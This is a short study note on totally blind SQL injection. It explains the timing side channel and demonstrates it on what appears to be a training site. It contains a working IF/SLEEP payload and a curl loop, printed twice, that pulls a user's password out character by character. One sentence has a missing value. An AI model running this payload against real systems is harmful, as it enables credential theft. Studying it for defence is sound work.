Lukas' Notes

web security databases

Definition

Totally Blind SQL Injection

A totally blind SQL injection is a blind SQL injection in which the application shows no output at all that depends on the query’s result. There is no boolean oracle.

The attacker instead observes a timing side channel: an injected SLEEP() makes the server delay only when the guessed condition is true, so response time leaks one bit.

Mechanism

Time-based oracle

Wrap the guess in a conditional and stall the server when the guess matches:

' OR IF(BINARY '<guess>'=MID(password, <pos>, 1), SLEEP(2), NULL)
   AND mail LIKE 'marco%' -- -
  • If the guess is correct, the request takes .
  • If the guess is wrong, the request returns immediately.

A shell loop checks whether the request exceeds a timeout — a delay implies a correct guess:

for pos in {1..10}; do for guess in {A..Z}; do
  timeout 1 curl "$URL" \
    --data "mail=' OR IF(BINARY '${guess}'=MID(password, ${pos}, 1), SLEEP(2), NULL) AND mail LIKE 'marco%'" \
    &>/dev/null || echo -n "${guess}"
done; done

Obs

The oracle is now response time rather than page content: the attacker gains a 1-bit answer per request from a channel that the developer did not intend to expose.

Example

Timing reveals the first character

On https://pwdreset.is.hackthe.space/indexb.php the page shows no output that depends on the query, so the boolean oracle is gone. The attacker substitutes the timing channel using IF(..., SLEEP(1), NULL) on a candidate for position 1 of marco’s password:

-- wrong guess (G): no delay
SELECT * FROM people WHERE mail =
  ' OR IF(BINARY 'G'=MID(password, 1, 1), SLEEP(1), NULL) AND mail LIKE 'marco%';
-- Empty set, 1 warning (0.00 sec)
 
-- correct guess (H): 1-second stall
SELECT * FROM people WHERE mail =
  ' OR IF(BINARY 'H'=MID(password, 1, 1), SLEEP(1), NULL) AND mail LIKE 'marco%';
-- Empty set, 1 warning (1.00 sec)

The first query returns at once, the second takes roughly one second — so the password starts with H. The shell loop below treats a timeout (a delayed response) as a hit; the superseding timeout 1 fires exactly when SLEEP(2) stalls the request:

for pos in {1..10}; do for guess in {A..Z}; do
  timeout 1 curl "$URL" \
    --data "mail=' OR IF(BINARY '${guess}'=MID(password, ${pos}, 1), SLEEP(2), NULL) AND mail LIKE 'marco%'" \
    &>/dev/null || echo -n "${guess}"
done; done